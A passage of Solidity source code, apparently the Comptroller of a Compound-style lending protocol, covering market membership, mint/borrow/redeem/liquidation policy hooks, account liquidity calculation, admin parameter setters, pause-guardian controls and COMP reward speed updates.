constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, minter, false); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, redeemer, false); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // Keep the flywheel moving updateCompSupplyIndex(cTokenCollateral); distributeSupplierComp(cTokenCollateral, borrower, false); distributeSupplierComp(cTokenCollateral, liquidator, false); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(cToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, src, false); distributeSupplierComp(cToken, dst, false); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToDenom * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == comptrollerImplementation; } /*** Comp Distribution ***/ /** * @notice Recalculate and update COMP speeds for all COMP markets */ function refreshCompSpeeds() public { require(msg.sender == tx.origin, "only externally owned accounts may refresh speeds"); refreshCompSpeedsInternal(); } function refreshCompSpeedsInternal() internal { CToken[] memory allMarkets_ = allMarkets; for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompSupplyIndex(address(cToken)); updateCompBorrowIndex(address(cToken), borrowIndex); } Exp memory totalUtility = Exp({mantissa: 0}); Exp[] memory utilities = new Exp[](allMarkets_.length); for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; if (markets[address(cToken)].isComped) { Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)}); Exp memory utility = mul_(assetPrice, cToken.totalBorrows()); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0; compSpeeds[address(cToken)] = newSpeed; emit CompSpeedUpdated(cToken, newSpeed); } } 